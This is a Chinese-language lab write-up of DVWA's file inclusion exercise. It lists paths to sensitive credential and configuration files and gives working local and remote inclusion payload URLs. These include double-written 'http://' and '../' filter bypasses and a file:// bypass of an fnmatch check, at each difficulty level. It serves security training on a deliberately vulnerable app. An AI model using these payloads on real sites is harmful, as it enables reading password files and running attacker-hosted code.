天天看點

DVWA | 檔案包含檔案包含

檔案包含

**檔案包含:**伺服器執行PHP檔案時,可以通過檔案包含函數加載另一個檔案中的PHP代碼并且當PHP來執行,這回為開發者節省大量時間。這意味這可以建立供所有網頁引用的标準頁眉或菜單檔案。當頁眉需要更新時,隻需要更新一個包含檔案就可以了,或者向網站添加一張新頁面時,僅僅需要修改一下菜單檔案(而不是更新所有網頁中的連結)。漏洞産生的原因:當伺服器開啟allow_url_include選項時,就可以通過php的檔案包含函數利用url去動态包含檔案,檔案包含函數加載的參數沒有經過過濾或嚴格的定義,可以被使用者控制,包含其他惡意檔案,導緻執行了非預期代碼。檔案包含漏洞分為本地檔案包含漏洞和遠端檔案包含漏洞,遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(開啟後,伺服器允許包含一個遠端檔案)。

檔案包含函數:require()、require_once()、include()、include_once()。

Include()和require()的差別隻要是,include在包含的過程中如果出現錯誤,會抛出一個警告,程式繼續正常運作;而require函數出現錯誤的時候,會直接報錯并退出程式的執行。

而include_once()和require_once()這兩個函數與前兩個的不同之處在于這兩個函數隻包含一次,适用于在腳本執行期間同一個檔案有可能被包括超過一次的情況下,想確定它隻被包括一次以避免函數重定義,變量重新指派等問題。

伺服器包含檔案時,不管字尾是否為php,都會嘗試做php檔案執行,如果檔案内容為php則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容。

常見的敏感資訊路徑:

Windows:
C:\boot.ini                                --檢視系統版本
C:\windows\system32\inetsrv\MetaBase.xml   --IIS配置檔案
C:\windows\repair\sam                      --存儲windows系統初次安裝的密碼
C:\ProgramFiles\mysql\my.ini               --mysql配置C:\ProgramFiles\mysql\data\mysql\user.MYD  --mysql root密碼
C:\windows\php.ini                         --php配置資訊
           
Linux/unix系統:
/etc/passwd                                        --賬戶資訊
/etc/shadow                                        --賬戶密碼檔案
/use/local/app/apache2/conf/httpd.conf             --apache2預設配置檔案
/use/loca/app/apache2/conf/extra/httpd-vhost.conf  --虛拟網站配置
/use/loca/app/php5/lib/php.ini                     --php配置檔案
/etc/httpd/conf/httpd.conf                         --apache2配置檔案
/etc/my.conf                                       --mysql配置檔案
           

1、Low

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>
           

我們可以看到對對包含的檔案沒有做任何的過濾和限制。

實戰本地檔案包含

檢視密碼檔案

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/etc/passwd
           

報錯說明沒有這個檔案,但是爆出來了檔案的所在路徑

D:\wamp\www\dvwa\vulnerabilities\fi\index.php
           
DVWA | 檔案包含檔案包含

嘗試讀取php.ini檔案

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\wamp\www\dvwa\php.ini
           
DVWA | 檔案包含檔案包含

成功讀取了伺服器的php.ini檔案,同時我們可以看到Magic_quote_gpc選項為off。在php版本小于5.3.4的伺服器中,當Magic_quote_gpc選項為off時,可以在檔案名中使用%00進行截斷,也就是說%00後面的内容不會被識别。

實戰遠端檔案包含

在這裡我在IP:為192.168.10.3的機器上建立一個讀取phpinfo的檔案

<?php
phpinfo();
?>
           

遠端檔案包含payload:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.10.3
           
DVWA | 檔案包含檔案包含

成功讀取phpinfo檔案。

2、Medium

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>
           

函數說明:

str_replace()
定義和用法
str_replace() 函數替換字元串中的一些字元(區分大小寫)。
該函數必須遵循下列規則:
	如果搜尋的字元串是一個數組,那麼它将傳回一個數組。
	如果搜尋的字元串是一個數組,那麼它将對數組中的每個元素進行查找和替換。
	如果同時需要對某個數組進行查找和替換,并且需要執行替換的元素少于查找到的元素的數量,那麼多餘的元素将用空字元串進行替換。
	如果是對一個數組進行查找,但隻對一個字元串進行替換,那麼替代字元串将對所有查找到的值起作用。
	
文法
str_replace(find,replace,string,count)
find:必需。規定要查找的值。
replace:必需。規定替換 find 中的值的值。
string:必需。規定被搜尋的字元串。
count:可選。一個變量,對替換數進行計數。

例:
<?php
$arr = array("blue","red","green","yellow");
print_r(str_replace("red","pink",$arr,$i));
echo "Replacements: $i";
?>
運作結果:Array ( [0] => blue [1] => pink [2] => green [3] => yellow )
		Replacements: 1
           
array()
定義和用法:
array() 函數用于建立數組。
在 PHP 中,有三種類型的數組:
	數值數組 - 帶有數字 ID 鍵的數組
	關聯數組 - 帶有指定的鍵的數組,每個鍵關聯一個值
	多元數組 - 包含一個或多個數組的數組
	
文法:
數值數組的文法:array(value1,value2,value3,etc.);
關聯數組的文法:array(key=>value,key=>value,key=>value,etc.);

例:
<?php
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
echo "Peter is " . $age['Peter'] . " years old.";
?>
運作結果:Peter is 35 years old.
           

通過檢視代碼我們可以看到是将“http://”、“https://”、“…/”、“…\”轉化為空。是以我們可以使用雙寫的方式來繞過。

實戰本地檔案包含

讀取php.ini檔案

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././wamp/www/dvwa/php.ini
           
DVWA | 檔案包含檔案包含

實戰遠端檔案包含

構造payload:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.10.3
           
DVWA | 檔案包含檔案包含

成功讀取phpinfo檔案。

3、High

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
           

函數說明:

fnmatch()
定義和用法
fnmatch()函數根據指定的模式來比對檔案名或字元串。

文法
fnmatch(pattern,string,flags)
pattern:必需。規定要檢索的模式。
string:必需。規定要檢查的字元串或檔案。
flags:可選。

例:
<?php
$txt = "My car is darkgrey..."
if (fnmatch("*gr[ae]y",$txt))
{
echo "some form of gray ...";
}
?>
           

通過檢視源代碼可以看到增加了一個判斷語句使用fnmatch()函數來檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應檔案。在這裡我們可以使用file協定來進行繞過。

實戰本地檔案包含

讀取php.ini檔案

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///../../../../..//wamp/www/dvwa/php.ini
           
DVWA | 檔案包含檔案包含

4、Impossible

檢視源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
           

通過檢視代碼我們可以看到在if語句中在直接把能夠包含的檔案給寫死了,隻能為include.php、file1.php、file2.phpf、ile3.php,無法繞過。

聲明:本教程僅提供技術分享,不得用于非法用途。利用此文所造成的任何直接或間接的損失,文章作者不承擔任何責任。網絡安全你我他,維護安全靠大家。

繼續閱讀